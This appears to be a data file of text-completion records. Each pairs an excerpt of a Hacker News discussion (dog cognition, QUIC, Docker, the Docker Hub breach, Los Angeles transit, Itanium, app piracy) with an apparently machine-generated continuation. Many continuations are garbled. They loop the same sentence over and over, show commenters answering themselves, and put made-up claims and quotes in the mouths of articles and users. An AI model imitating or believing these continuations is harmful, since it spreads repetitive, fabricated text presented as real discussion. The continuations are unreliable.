dogs are not.\n\nYou then go on to say that \"Dogs clearly understand parts of human language\nand judging them by their ability to understand it seems like the best way to\ndetermine their intelligence\". This is a very dangerous assumption. It's\npossible that dogs are not able to understand human language, but it's also\npossible that they are.\n\nYou then go on to say that \"In the end I", "input_text": " to better\nreproductive opportunities for those dogs which we are more attached to. For\nall we know, dogs responses to human emotions, gestures, and nonverbal cues\nare a completely autonomic behavior.\n\nI love dogs, I think my dog is super-smart, funny, and very sweet. I've heard\nher particular breed referred to as \"the dog with the human brain\" on some dog\nTV show before, and I'm sure she's not even as smart as a collie. That said, I\ncan't help but feel like your comment is a bit... overwrought. Dogs clearly\nunderstand parts of human language and judging them by their ability to\nunderstand it seems like the _best_ way to determine their intelligence. I\nwould hardly call it \"remarkably arrogant\". You have to consider the fact that\nhumans have likely had spoken language for as long as we've had domesticated\ncanines.\n\nIn the end I can't help but feel like over-sentimental and hyperbolic (would\nyou say we've \"underestimated the intelligence\" of, say, jellyfish?)\ndeclarations like yours really set us up only for disappointment. Our dogs are\ngreat, and probably do actually _love_ us, but they're not furry little\ngeniuses held back only by their lack of proper speaking ability.\n\nAll that said, they're still _way better_ than cats.\n\n~~~\njeremymims\nThis is precisely why I believe almost all of these experiments are flawed.\n\nYou begin with the assumption (based on nothing other than a general feeling\nof human specialness) that \"For all we know, dogs responses to human emotions,\ngestures, and nonverbal cues are a completely autonomic behavior\". Considering\nthat we discover all kinds of animals are smarter"} +{"output_text": " the\nshoulder, or the proportion of the face?\n\n~~~\nPracticality\nI think it's because it's not a \"normal\" thing to care about.\n\nIt's not a \"normal\" thing to care about the proportion of clothing, or the\nangle of the shoulder, or the proportion of the face.\n\nIt's not a \"normal\" thing to care about the proportion of columns, or the\nproportion of numbers, or even the aesthetics of", "input_text": "\nA lot of problems suddenly disappear.\n\nAI, on the other hand, while very useful, doesn't change people. And frankly,\nmost problems we have are because people lack understanding. I don't know\nabout you, but I don't actually want to replace mankind with something else, I\njust want us all better.\n\nOf course, what \"better\" is--is highly debatable, so that definitely gives\npause as well.\n\n~~~\nmziel\n> A lot of problems suddenly disappear.\n\nNot to be negative but citation needed.\n\nAlso (I guess we'll cross \"isolation\" of the list):\n[https://en.wikipedia.org/wiki/Intellectual_giftedness#Social...](https://en.wikipedia.org/wiki/Intellectual_giftedness#Social_and_emotional_issues)\n\n~~~\nPracticality\nAn interesting point. I think your citation adds to the point though.\n\nIn observing my \"normal\" peers, honestly, they do a lot of very strange things\njust to be considered normal.\n\nI mean, it's pretty expensive just to keep up with current trend of sunglasses\nsize or sock length, just to be seen as normal.\n\nNot to mention that you have to hold your hands a certain way and talk\nincoherently.\n\nThere is a lot of \"normalizing\" behavior that becomes unnecessary when\neveryone has the capacity to see how inane and impractical such behavior\nreally is.\n\n~~~\nycosynot\nA lot of smart men have been passionate about the proportion of columns, or\nthe proportion of numbers, or even the aesthetics of curly braces. So why is\nit inane to care about the proportion of clothing, or the angle of"} +{"output_text": " good idea to\nsay \"No, I don't think that's a good idea.\"\n\n------\njoshu\nI think the author is missing the point.\n\nThe point is that you can't just say \"no\" to everything.\n\n~~~\nDougBTX\nI think the author is missing the point that you can't just say \"no\" to\neverything.\n\n~~~\njoshu\nI think the author is missing the point that you can", "input_text": " own VPS, and you should certainly not sign up\nwith me, as all my interfaces are command-line only, and I don't have a nice\nGUI web control panel like many competitors do, and my support is email-only.\ngo, pay the extra bucks, pay slicehost, and get someone to talk you through it\non the phone. I don't charge enough to deal with that sort of thing.\n\nIf you wanted to hire me by the hour, that'd be different, but we're talking\nabout people giving me $8/month.\n\n~~~\nDougBTX\nYour line makes more sense now, since you're talking about a different\nsituation from the article. It's a different relationship; since anything you\ndo would have to benefit the many of your users at once to be worthwhile, it\nmakes sense to have users who are similar to each other, ie, to say no to the\noutliers.\n\n~~~\nlsc\nYeah. a successful product business involves a whole lot more 'no' than a\nconsulting business.\n\nHowever, I think even when working by the hour, when I charge what I seem to\nbe able to charge lately, I try to say \"No, that's outside of my area of\ncompetence\" because really, they are paying me way too much for me to 'figure\nit out.'\n\nWhen it is in my area of competence, I think it's just as important to say\n\"No, I think that's a bad idea, and here's why\" - They are paying me silly\nrates, presumably because I know more than they do about what we are trying to\nget done; Sure, sometimes you need to translate the technical choice into a\nbusiness decision and push it up the chain, but sometimes it's a"} +{"output_text": ".\n\n~~~\nsolotronics\nI think you are right. I think the best solution is to have a protocol that\nis fully encrypted and hides the source and destination IP and port.\n\n------\njedberg\nI'm not sure I understand the point of this.\n\nThe article says that QUIC is a protocol that is \"designed to be fast and\nefficient\", but then it says that it is \"not designed to be secure\".\n\nSo,", "input_text": "ification\n\nI'd never heard of the term 'ossification' regarding a protocol before. But\n\"QUIC as a solution to protocol ossification\" from LWN [1] clears it up:\n\n> TCP suffers other problems as well.... Middleboxes (routers between the\n> endpoints of a connection) interfere with traffic and make it difficult to\n> improve the protocol. They aren't supposed to be looking at TCP headers, but\n> they do so anyway and make decisions based on what they see, often blocking\n> traffic that looks in any way out of the norm. This \"ossification\" of the\n> protocol makes it nearly impossible to make changes to TCP itself.\n\n[1] [https://lwn.net/Articles/745590/](https://lwn.net/Articles/745590/)\n\n~~~\nsolotronics\nThis brings up some interesting considerations\n\nI personally believe in absolute freedom of speech so from a network\nengineering perspective this manifests as a personal responsibility to make\nthe networks I control pass packets without discrimination. The public\ninternet is just a conglomeration of seperate private networks that operate\nunder their own sets of rules.\n\nTo have absolute freedom when passing traffic the underlying protocol should\nbe fully encrypted and probably even hide the source and destination IP\naddress and port. This is a very tough problem to solve technically because\nyou have to know the destination IP to efficiently route a packet.\n\n~~~\nkeepmesmall\nThe destination IP could be hidden opportunistically?\n\nSend the destination IP for high-priority requests and retry without the\ndestination. Low-priority/long-latency requests would always hide the\ndestination.\n\n... I can't articulate why, but I feel even this introduces a very large\namount of hidden complexity"} +{"output_text": " waste of time.\n\nI'm not sure if this is a good or bad thing. I'm not sure if I'm a good or bad\nartist. I'm not sure if I'm a good or bad person. I'm not sure if I'm a good\nor bad person.\n\nI'm not sure if I'm a good or bad person.\n\n------\njameshart\nI'm a professional artist. I've been doing it for about 20 years.", "input_text": " mention.\n\n~~~\nJtsummers\n[http://www.accademia.org/it/esplora-il-museo/le-\nopere/i-prig...](http://www.accademia.org/it/esplora-il-museo/le-\nopere/i-prigioni-schiavi-di-michelangelo/)\n\nThese are the ones I was thinking of.\n\n------\nBroken_Hippo\nI'm going to say first and foremost that I'm an artist. I sell occasionally\n(rarely), but constantly create. I'm often prolific. I'm nearing 40 and have\ndone this stuff since I was a child.\n\nYet I really don't have an emotional connection with art (there are\nexceptions, but this is rare). I hold a few things I've made dear to me but\nwould sell them in an instant. I don't think this is in any way necessary.\nWhatever you feel - or don't - is just how you see it.\n\nBut I like art, overall, especially surrealism, fantasy, and abstract work. I\nthink they are neat to look at when done well. I'm sometimes in awe of well-\ndone landscapes, portraits, still life paintings, and things depicting current\nevents and situations. I don't really enjoy these, though, since I find such\nimages boring after a while. In fact, I'm the type of artist that would make\nsomething up if someone insists on \"getting\" my art or asks me to explain a\nfew things. Or refuse to explain altogether. I know folks expect this stuff,\nso I'm prepared to jump into that role if it ever becomes actually necessary,\neven though I know it would be a"} +{"output_text": "ia, but I have a lot of experience with\nscientific computing.\n\nI think the problem is that the scientific community is not used to\nreproducibility. They are used to publishing a paper, and then having the\npaper be cited by other papers.\n\nIf you can package the process for building that graph in a Dockerfile, it is\nmore likely that readers of her paper will be able to reproduce her results.\n\n~~~\nmugsie\nI think you", "input_text": "\nthe regular (Rails) auto reload works perfectly.\n\nFor test and prod we just simply don't do any volume mounting at all, and use\nthe baked in src directly.\n\nEasy and fast everywhere, all you have to control is how and when the images\nare created (ex: we do a full clean checkout in a new directory before\nbuilding a test image, to ensure it only contains committed code. EDIT: by\ntest I mean for local testing, while you're working on revisions, a CI server\ndoes the automatic testing).\n\n------\ncollyw\nTo tell all the cool kids you are using it.\n\n(Ok, I know there are real use cases for Docker, but I see a lot of hype as\nwell. People telling my mathematician friend that she needs to use docker at\nthe start of her project - it is likely to be a one off graph she needs to\nproduce for a research paper).\n\n~~~\nosipov\nThere is a big push for reproducibility in science. If you friend can package\nthe process for building that graph in a Dockerfile, it is more likely that\nreaders of her paper will be able to reproduce her results.\n\n~~~\nmugsie\nor, you know, publish the formula, so readers can reproduce in whatever\nlanguage / system they want.\n\nReproducibility is a big push.... but not like you are suggesting. Shipping a\ndockerfile is the equivalent of saying \"This works, _if_ you use this flask,\nthis pipette, this GCMS and this piece of litmus paper\"\n\nDocker is not the only solution to problems. It solves some, but you can't\ntack it on to everything.\n\n~~~\nlog_n\nWhy not both? I am not in academ"} +{"output_text": " the same user is lower.\n\n------\njosteink\n> We have no evidence that any of the passwords were compromised.\n\nSo, they have no evidence that the passwords were not compromised.\n\n~~~\njosteink\nI guess I should have been more clear. I'm not saying that the passwords were\ncompromised. I'm saying that they have no evidence that they were not.\n\n------\njosteink\n> We have no evidence that any", "input_text": "docker/docker.github.io/issues/6910)\n\n~~~\ndbnoch\nOr fix this 4 year old issue where you cant use 2FA for accounts\n[https://github.com/docker/hub-\nfeedback/issues/358](https://github.com/docker/hub-feedback/issues/358)\n\n(Side note: this obviously wouldn't have prevented the current attack)\n\n------\naneutron\nFrom the same company that tried to force people to login before downloading\nDocker CE.\n\n------\nrnotaro\nOfficial Article from Docker (Same Text as the email):\n[https://success.docker.com/article/docker-hub-user-\nnotificat...](https://success.docker.com/article/docker-hub-user-notification)\n\n~~~\nfock\nsuccess.docker.com!\n\n------\nviraptor\nThat's a nice summary. One thing I'm curious about is:\n\n> Data includes usernames and hashed passwords\n\nHow are they hashed? And specifically, can we expect them to be already\ncracked?\n\n~~~\nghusbands\nYes, in particular we need to know algorithm, work factor and salting details\nto know whether or not the passwords may be compromised.\n\n~~~\ntrulyrandom\nJust assume that it's compromised and generate a new one. There is no point in\nwasting time trying to estimate how long it might take someone to crack it.\n\n~~~\nviraptor\nIt matters at lower extreme. If it was something trivial and people shared the\npassword with another account, then they may be already compromised. If it was\nhard and salted per-user, they still have to change it, but the chance of\ncompromise on"} +{"output_text": " respect to the Content you submit or make available for inclusion on\n> publicly accessible areas of the Yahoo! Services, you grant Yahoo! the\n> following rights:_\n\n> _The rights below are for the sole purpose of enabling Yahoo! to display,\n> store and distribute your Content through the Yahoo! Services, and to\n> distribute your Content through third party services._\n\n> _You retain ownership of any intellectual property rights that you hold in\n> your Content, and you", "input_text": "\nwithout first knowing about it.\n\n~~~\njfarmer\nMuch of it is a conceit, yes, and I'm not qualified to comment on the legal\nprecedents surrounding such licenses.\n\nI'm sure Pinterest makes you check a box saying you agree to the Terms of Use\nbefore they let you create an account.\n\nWhether that's sufficient is up to a court to decide, and an attorney could\ntell you the likelihood of a successful suit given a specific fact pattern.\n\nI'm not an attorney, though.\n\nAs I said below, people -- engineers, especially -- get caught up in\ncontractual technicalities. The fundamental question is: do you trust\nPinterest to do right by you?\n\nFlickr has a similar clause that every photographer who has uploaded their\nphotos has agreed to, but they do right by their users and so nobody believes\none day Flickr is going to undo all that work. It would alienate their\ncustomers.\n\nIf you think Pinterest is untrustworthy, why do you think some text on a\nscreen that _they wrote themselves_ is going to impact their behavior one way\nor another?\n\n~~~\njacobolus\nActually, Flickr\u2019s TOS (now a general Yahoo one) is quite different. They make\nit clear that their rights are limited to the specific uses obvious and\nessential to the function of their sites:\n\n> _Yahoo! does not claim ownership of Content you submit or make available for\n> inclusion on the Yahoo! Services. However, with respect to Content you\n> submit or make available for inclusion on publicly accessible areas of the\n> Yahoo! Services, you grant Yahoo! the following worldwide, royalty-free and\n> non-exclusive license(s), as applicable:_\n\n> _With"} +{"output_text": " was a kid.\n\n------\nmatt_the_bass\nI\u2019m not sure I understand the point of this article.\n\nThe idea of a global currency is not new. It\u2019s been around for a long time.\n\nThe idea of a global currency that is controlled by a private company is not\nnew. It\u2019s been around for a long time.\n\nThe idea of a global currency that is controlled by a private company that\nwill be", "input_text": " IMF works, etc. I\neven helped (not successfully) launch it in 2013. These ideas have been around\nfor a good while by many people, it\u2019s just that crypto is mainstream enough\nand facebook has enough clout now to take it seriously. If facebook ripped off\nanyone it was John Maynard Keynes. That\u2019s not to say that it is even that good\nof an idea or that facebook will be successful with it.\n\n------\nvitno\nI know people who were working on, what is now called, Libra at FB more than a\nyear ago though. The paper was published a year ago. This just looks like a\ncase of multiple people having the same idea.\n\n~~~\nyodaml\nIt may just be another case of the \"adjacent possible\" principle at work.\n\n~~~\nTeMPOraL\n\"Adjacent possible\" is the case of one of the weirdest possible definition for\na very simple concept. I see people quoting this:\n\n\"The adjacent possible is a kind of shadow future, hovering on the edges of\nthe present state of things, a map of all the ways in which the present can\nreinvent itself.\"\n\n(Whatever the hell that means.)\n\nEven though the concept is much simpler: \"adjacent possible\" is the set of\nthings within reach. Or: all the things on the border between what we have,\nand what we could have.\n\n------\nejwessel\nIn science, the credit goes to the man who convinces the world, not to whom\nthe idea first occurs. \\- Francis Darwin.\n\n------\nBubRoss\nThis is just like when Google stole my idea to run fiber optic internet to\npeople's houses. I totally had that idea a long time ago when I"} +{"output_text": " the KKK\nand the Aryan Brotherhood still exist, but they are a tiny minority of the\npopulation, and they are not the norm.\n\nThe US is a very different place than it was in the 1950s, and the changes\nhave been dramatic.\n\n~~~\ndidip\nI agree with you.\n\nI'm just saying that the minority of all kinds always need to assert their\nequal rights.\n\nI'm not saying that the US is a perfect", "input_text": " eras than ours. It's a\nlot more dangerous before the paradigm shift (and boy has this paradigm\nshifted). Shepard's case, from what I've read, was a lot more ambiguous.\n\nEdit: I'm not arguing that there's no more anti-gay violence, just that the\nsocial context has changed radically. The aftermath of the recent incident in\nFort Worth will be interesting to follow in this respect.\n\n~~~\ndidip\nTimes hasn't changed much, minority of all kinds always need to assert their\nequal rights.\n\nOnce gays are accepted into the mainstream, there will be other, oppressed,\neven more niche minority group.\n\nThis is the nature of our pyramid-like society. There will always be oppressor\nand oppressed.\n\n~~~\njacobolus\nI think this is a counter-productive attitude. The difference in the US\nbetween the 1850s (blacks in slavery, many women in abusive relationships with\nno legal protection or recourse because they were considered property, chinese\nand mexicans used as cheap labor but discriminated against mercilessly, gays\nall in the closet because their lives would be at risk if they came out,\netc.), and the 1950s (gays nearly all closeted still, women\u2019s lib movement not\nyet off the ground, Jim Crow and frequent lynchings, many top universities\nhardly accepting anyone not a WASP male, rampant discrimination in housing,\nhiring, politics, the mentally disabled brutally institutionalized against\ntheir will, and the physically disabled not guaranteed equal access to public\ninfrastructure and instututions, etc.) and today is dramatic, and the trend is\n_overwhelmingly_ obvious.\n\nSure, we still have problems with racism and sexism, and groups like"} +{"output_text": "ie\nI'm not sure I agree with the premise.\n\nI think the internet is a great thing, and I think it's a great thing that\npeople can access it from anywhere.\n\nI think it's a terrible thing that people can access it from anywhere.\n\nI think it's a terrible thing that people can access it from anywhere and\nthat it's so easy to get distracted.\n\nI think it's a terrible thing that people can access it from anywhere", "input_text": " I really only did that in the album, cassette and CD days\nbecause the tech sucked. Now I can easily jump to the part I want, just\nlistening to i.\n\nI only listen to podcasts when trapped on a long drive. Them I tend to listen\nto end-to-end again because the tech sucks.\n\nI've always found it hard to sit and watch a film, or even a youtube video,\nlinearly. It's generally just _way too slow_ (and occastionally too fast) and\nI like to be able to skip around. But the tools suck.\n\n _Books_, on the other hand, are ideal. In so many I luxuriate in them,\nespecially fiction which can be so multimedia compared to a film, generally\nreading linearly. Others I skip around, skipping over boring bits, coming back\nto them, going back to parts I loved, or just reading something interesting\nover and over.\n\nIt's not that \"the digital\" caused me to lose my ability to concentrate,\nrather it allowed me access to media in a way that _supports_ my enjoyment:\nsometimes intense, sometimes casual, and sometimes intense just on the parts\nthat matter. How can this be bad?\n\n------\nkhorwitz\nShallows is a great book about this and \"what the internet does to our\nbrains\". This chrome extension is supposed to combat the internet's\nunquestionable ability to mess with our work focus:\n[https://chrome.google.com/webstore/detail/focusr/fgdcnfgmneb...](https://chrome.google.com/webstore/detail/focusr/fgdcnfgmneblnnldmaffhbniomfajlah?hl=en)\n\n------\nNurs"} +{"output_text": " mean we should have done it then?\n\n~~~\njrockway\nI don't think it's too late. The internet is still a very small part of the\nworld's economy. It's not like the internet is going to be the next big thing\nthat will make everyone rich.\n\n~~~\nderleth\n> The internet is still a very small part of the world's economy.\n\nIt's not. It's a very small part of the world's", "input_text": " who _run_\nthings (e.g. governments) want to _keep running things_. Thus, their work\ntends to result in new laws and treaties. People who _do_ things (e.g.\nengineers) want to _keep doing things_. Thus, their work tends to result in\nvoluntary, consensus-based agreements.\n\n~~~\nhardik988\nThanks. That clarifies it up a bit. So could this summit result in a real\nthreat to net neutrality?\n\n~~~\nwyck\nThe summit can result in more then net neutrality threats, it includes\ncensorship, monitoring, archiving and usage regulations. The ITU comprises of\n193 countries and over 700 private-sector entities. It has become more\ntransparent due to public outcry, but who knows what is discussed over dinner\n( aka there is a lot of money and control being looked over as though it's a\nmap to the new world).\n\n------\njrockway\nI can't help but wonder why they didn't try this 20 years ago. As it stands\nnow, it seems hopelessly out of touch with reality. Why would people start\npaying more for online services when the price of everything tends to decrease\nover time? And why do governments think that the big internet companies are\ngoing to pay for this? They have shareholders too, after all.\n\n~~~\nderleth\n> I can't help but wonder why they didn't try this 20 years ago.\n\n20 years ago, nobody cared about the few, the unusual, the networked. 15 years\nago, people damned well did care, but everyone was in 'run in circles, scream\nand shout' mode and business plans were more-or-less optional. 10 years ago it\nwas definitively too late. Does that"} +{"output_text": "nesia disorder, and I have been wondering if I am the same person I was\nbefore the amnesia. I have been thinking about this for a while, and I have\ncome to the conclusion that I am not. I have been thinking about this because\nI have been wondering if I am the same person I was before the amnesia. I\nthink I am not.\n\nI have been thinking about this because I have been wondering if I am the same\nperson", "input_text": "oking conversation, and talk intelligently about many fields.\n\nThe lesson? Some people are so good at compartmentalizing that they leave\ntheir intelligence in another box.\n\n~~~\npjc50\nThat sounds more into the range of a severe anxiety disorder, \"dissociation\"\nrather than compartmentalisation.\n\n------\nchrisco255\nBe wary of your own self-delusions. Sometimes they might be useful. Other\ntimes, they might be detrimental.\n\n~~~\nimesh\nBut what if it's your self-delusion making you think your non-delusion is a\ndelusion?\n\n~~~\nshoo\nin that case, remain wary\n\n------\nthunderbong\nI find sometimes it's easy to be myself\n\nSometimes I find it's better to be somebody else\n\n\\- Dave Matthews Band - So much to say\n\n------\nvbuwivbiu\nnot only that, but all perception is a constructive process based on\npredictions according to multiple competing models which run in parallel of\nwhich we are only aware of a few at most. As such, other people have no single\nor objective perception of us either.\n\n------\np2detar\n_But what is selected as a personal memory also needs to fit the current idea\nthat we have of ourselves. Let\u2019s suppose you have always been a very kind\nperson, but after a very distressing experience you have developed a strong\naggressive trait that now suits you. Not only has your behaviour changed, your\npersonal narrative has too. If you are now asked to describe yourself, you\nmight include past events previously omitted from your narrative \u2013 for\nexample, instances in which you acted aggressively._\n\nI have been pondering on a similar question for some time now. I have an\nam"} +{"output_text": "FM?\n\n~~~\nJdeBP\nBecause you're not testing the code you're proposing.\n\n------\njwilk\nI'm not sure why this is on the front page.\n\n~~~\nJdeBP\nBecause it's a very interesting and unusual use of the term \"eol\" in a\nterminal emulator.\n\n------\njwilk\nI'm not sure why this is on the front page.\n\n~~~\nJdeBP\n", "input_text": " other comment: Both.\n\nIt's vomit-inducingly beautiful.\n\n------\nkazinator\nInterrogating the terminal emulator to get the current column is in fact a way\nsmarter, more robust solution that will work regardless of the terminal's\nbehavior when printing at the rightmost column. Also, fewer characters are\nexchanged with the TTY in the happy case.\n\nProof of concept, using Bash on Ubuntu 18.04:\n\nDefine this function:\n\n \n \n getcol()\n {\n local savetty=$(stty -g < /dev/tty)\n local ttyesp\n stty raw min 16 time 100 < /dev/tty\n printf '\\e[6n' > /dev/tty\n read -s -r -n 16 -d R ttyresp < /dev/tty\n stty $savetty < /dev/tty\n printf \"%s\\n\" ${ttyresp#*;}\n }\n \n\nThen this PS1 for testing:\n\n \n \n PS1='$(if [ $(getcol)!= 1 ]; then echo '[noeol]' > /dev/tty; fi)\\$ '\n \n\nTest:\n\n \n \n $ echo good output\n good output\n $ echo -n bad output\n bad output[noeol]\n $ echo -n # no output case\n $\n \n\nWFM\n\n~~~\nJdeBP\nUntil you can name at least one common current terminal emulator that does not\nrespond to DSR 6, you have not tested this enough. (-:\n\n~~~\nkazinator\nWhy would I search for a situation that's going to be a definite W"} +{"output_text": " to make you feel\nlike you were in a hotel.\n\nI was in a private room, but the nurses were all in the hallway, and the\nnurses' station was right outside my door. I could hear them talking to each\nother, and I could hear the nurses' station beeping when they needed to get\nsomeone's attention. I could also hear the nurses' station beeping when they\nneeded to get someone's attention, and I could hear the nurses", "input_text": " out bed, private\nbathroom with shower, etc. The nurses seemed to actually give thought to their\nschedule and when to do vitals and meds. They also leaned on technology a bit\nmore and had remote o2 and heart rate sensors, so they didn\u2019t need to take as\nmany vitals.\n\nThe facilities made a bit of a difference in our experiences, but above all\nthe nursing staff had the biggest impact. Highly skilled nurses that aren\u2019t\nover staffed seemed to be key.\n\n------\ndeanclatworthy\nOf course YMMV.\n\nHaving spent two spells recently in hospital after surgery, it didn\u2019t bother\nme in the slightest being woken for 30s every few hours. Usually it coincided\nwith me being brought painkillers, water and snacks. All of which were\nwelcome.\n\nThere was also no issue regarding beeps in the post operative care unit that I\nremember. I was also given my personal belongings, as soon as I was able to\nstructure a coherent sentence, which included headphones.\n\nSimilarly to other commenters, I should point out you might not be so quick to\nuse technology to solve this problem. Implementing technology into an area\nwhere lives are at risk (ICU) takes a long time - with good reason. I saw a\ncomment talking about a centralised monitoring desk. Good luck finding a ward\nwhere you are always staffed enough to have someone watching that. There is a\ngood reason sounds have remained as the primary monitoring cue for so many\nyears.\n\n------\ntempestn\nA million times this. Fortunately my only adult experiences overnight in a\nhospital were for the births of my children, but I was amazed in exactly the\nsame way as the author here at how the place seemed designed"} +{"output_text": ".\n\n------\njoshuahedlund\nI'm not sure I understand the point of this article. It seems to be saying\nthat the streetcar system was a failure because it was too expensive to\noperate, but that's not really a new idea. The article is just repeating the\nsame old arguments that have been made for decades.\n\n~~~\njoshuahedlund\nI guess I'm just not seeing the point of the article. It seems to be", "input_text": " the distance, bus for the last mile.\n\n~~~\nwaterlesscloud\nThere was an interesting study recently showing that population density in LA\nis still greatest along the long-vanished streetcar lines.\n\nIt's also worth noting the streetcar lines were built specifically to serve\nland development goals, so they drove the development in the first place, not\nthe other way around. In a way, streetcars _caused_ the sprawl of Los Angeles.\n\n[http://www.zocalopublicsquare.org/2014/09/23/long-dead-\nstree...](http://www.zocalopublicsquare.org/2014/09/23/long-dead-streetcars-\nstill-shape-l-a-neighborhoods/chronicles/who-we-were/)\n\n------\nistvan__\nI just would like to contribute one picture of this threa. It is from\n[http://upload.wikimedia.org/wikipedia/commons/f/fb/Pacific-E...](http://upload.wikimedia.org/wikipedia/commons/f/fb/Pacific-\nElectric-Red-Cars-Awaiting-Destruction.gif)\n\nMore here:\n[http://en.wikipedia.org/wiki/General_Motors_streetcar_conspi...](http://en.wikipedia.org/wiki/General_Motors_streetcar_conspiracy)\n\nI don't think that the politicians in charge changed that much since the 60s\nto let a green LA happen.\n\n~~~\nanthonyarroyo\nA wikipedia page whose neutrality is disputed?\n\n~~~\nistvan__\nYes, so any time you go there you can follow what is happening, eventually\nthere will a consensus what happened"} +{"output_text": "_ have been embarrassing was the fact that HP was so slow to\nembrace the new architectures, and that they were so slow to embrace the\ncloud.\n\n~~~\ngumby\nI agree with you, but I think the mainframe market is still healthy.\n\nI think the mainframe market is healthy because it's a niche market. It's\nhard to get into, and it's hard to get out of.\n\nI think the cloud market is healthy because", "input_text": "\u2019re wasting your life. And how\nmany people at some of those big SV companies are mostly just working on ad\ntech?\n\n~~~\ngumby\nTrue, my point is that itanium itself was a laughingstock, and clearly with no\nfuture, so must have been embarrassing to talk to your friends about what you\ndo for work.\n\nMaking spare parts for the B-52, or maintaining security fixes for Solaris\n(which has its fanatic fans) can be rewarding, no question. But to work on the\nItanium any time in the last decade must have been soul-sucking.\n\n~~~\nachiang\nI was an HP-UX kernel engineer from 2002 til 2005, a brief interlude writing\nIA64 CPU diagnostics, and then and a Linux kernel engineer from 2007 til 2010,\nall on Itanium systems.\n\nIn that time frame, it wasn't clear that horizontal scale out architecture\n(aka \"the cloud\") was going to dominate, and that scale up systems were going\nthe way of the mainframe. The thinking was that there would always be a\nhealthy balance of scale out vs scale up, and btw, HP alone did $30B+ revenue\nyearly on scale up with very slow decline, just like the mainframe market,\nwhich is still $10B+, even today.\n\nTo put that in today's terms, if you pitched a startup with a $30B TAM, VCs\nwill definitely be returning your emails.\n\nSo no, it wasn't embarrassing to talk about working on IPF any moreso than it\nwould be to talk about POWER today. It's just another CPU architecture with\nsome interesting properties but ultimately failed in the market place. Just\nlike Transmeta or Lisp Machines.\n\nWhat _should"} +{"output_text": "the same number of people.\n\n~~~\nthrowawaysea\nI don\u2019t think that\u2019s true. The federal government has a lot of responsibilities\nthat the states don\u2019t have. For example, the federal government has to\nmaintain the military, the national guard, and the border patrol. The states\ndon\u2019t have to do that.\n\n~~~\nfalcolas\nThe states don't have to maintain the military, but they do have to maintain\n", "input_text": "cannot accomplish on their own, they can certainly invest in - whether it is\npurchasing PPE or hiring loggers.\n\n~~~\nfalcolas\nAnd if that state can\u2019t, for one of a hundred reasons, respond appropriately,\nthe effects are not limited to that state.\n\nFor the pandemic, people traveling into, out of, or through the state will\nspread it to surrounding states (Florida is one great example of how a state\nnot responding appropriately has broader impacts on the nation).\n\nFor wildfires, fire knows no state boundaries, and smoke is even more\npromiscuous in its spread.\n\n~~~\nusername90\nEurope manage to handle those things just fine and local politics is very\ndecoupled from EU politics. Why wouldn't states be allowed to close borders\nunder emergencies?\n\n~~~\nfalcolas\nBecause a state is not a country. It doesn't have a military, border patrol,\nnational guard, etc. That is to say, it doesn't have the manpower. And it\ncould - practically speaking - never raise the money to do so (states have\nenough trouble paying their teachers, sanitation workers, paving roads, etc).\n\n~~~\nthrowawaysea\nThey have trouble paying for everything that\u2019s on their wish list but that\u2019s\ntrue of individuals and the federal government as well. A state COULD have\nthose things, especially if their taxpayers gave up less in federal taxes\nsince the federal government would have fewer responsibilities. Not sure how\nthis changes things.\n\n~~~\nfalcolas\nBut if a state has sufficient personnel to handle an emergency (say a tornado\nstrike on a town), they have too much personnel the rest of the time. Whereas,\nwith a governmental entity, they can go from emergency to emergency, keeping\n"} +{"output_text": "~~~\nmehrzad\nI'm not sure I understand. I'm not saying that LA County will be served by an\nawesome network of public transit, but that LA City will be served by an\nawesome network of public transit.\n\n~~~\neclipxe\nI think you're right. I think the point is that LA County will be served by\nan awesome network of public transit, but LA City will not.\n\n------\njoshuaheard\n", "input_text": " utility removal) began 2 years ago. Construction on\nthe Airport Spur and a line connecting the Expo and Purple line (extension)\nhas already begun. This time next year, construction will have begun on the\n_next_ extension of the Gold line, heading for the eastmost reaches of LA\nCounty. (By the way...the Red and Purple lines run every 7 minutes during busy\nhours, the Blue and Expo lines run every 10. Only the Gold line runs every 12\nminutes or less.\n\nCivlavia is held multiple times a year. LA does have more bike lanes than any\nother city...but LA is also geographically one of the largest cities in the\nworld, so the _density_ of bike lanes is poor.\n\nThere is real change in LA, and they're definitely not photo ops.\n\n------\nmehrzad\nAs a native and lover of LA (currently in NYC), I've been enjoying all the\npress we've been getting recently. But as I skim this article, I'm confused.\nLA has massive urban sprawl. LA County is very, very vast in area, and many\npeople live 1-2 hours by car (without traffic) away from their work. How is\npublic transportation going to get so good that this car-dependence will go\naway? I'm all for it, I hate cars. The subway system in New York is great, but\nnot including metro areas, LA is quite a bit larger in area.\n\n~~~\neclipxe\nIt won't, ever. And that's okay. LA County won't be served by an awesome\nnetwork of public transit, but if investments continue into dense areas of LA\nCity you should see market forces at work -> public transit availability\ndriving higher density development, driving more desire for public transit.\n\n"} +{"output_text": " more dependent on your sales.\n\n------\njrockway\nI don't think it's a good idea to try to make money from piracy. It's not\nworth it.\n\n~~~\njrockway\nI'm not sure why this is getting downvoted. I'm not saying that piracy is\ngood, but I am saying that it's not worth it.\n\nIf you make a product that people want, they will pay for it. If you", "input_text": " that depending on how many copies I sell. The 20%\nrate only kicks in after about 25,000 copies or so and few programming books\ndo that well (my first edition sold just under 10,000), so effectively I get\naround $1.80-$2.50 a copy.\n\n------\npaul9290\nYou have to compete with piracy by offering premium levels of service one\nwhere it requires your users to pay to connect to your server to say play\nagainst others across the world and other things that require a server\nconnection.\n\nSure they might try to break into your server, but less will do that and that\nis more illegal and punishable by law at least in the states.\n\nPiracy made hollywood and music biz innovate we should be no different.\n\n------\nbestes\nHow are people cracking and using cracked applications on the iPhone? Am I\njust living in the dark by using the App Store and clicking \"Install\"?\n\n~~~\nkingsley_20\nI don't get it either. My guess is that people install a cracked version\nthrough Cydia to use on a jailbroken iPhone. I'd love to have this confirmed\nthough.\n\n~~~\njawngee\nYou can't install cracked stuff through Cydia, you have to use something like\ninstallous via hackulo.us.\n\n------\nxsmasher\n\"Piracy rate\" doesn't seem like a useful metric; it's too dependent on your\nsales. I'd rather see sales numbers and piracy numbers.\n\nIf you sell 10 and have 10 pirates, that's a 50% piracy rate. If you sell 1000\nand have 10 pirates (same number of pirates) that's only 1% piracy rate. The\nratio is less useful and"} +{"output_text": "-kadison-singer-math-\nscience/)\n\nIt works in the social sciences:\n[https://www.quantamagazine.org/20151124-kadison-singer-\nmath-...](https://www.quantamagazine.org/20151124-kadison-singer-math-\nscience/)\n\nIt works in the humanities:\n[https://www.quantamagazine.org/201", "input_text": "\nIt similar to the bogus _fair and balanced_ media argument. News reporting is\nabout reporting the facts _as they lead logically_ so that if anyone would\nperform the work of the journalist they would arrive at _similar conclusions_\nregardless 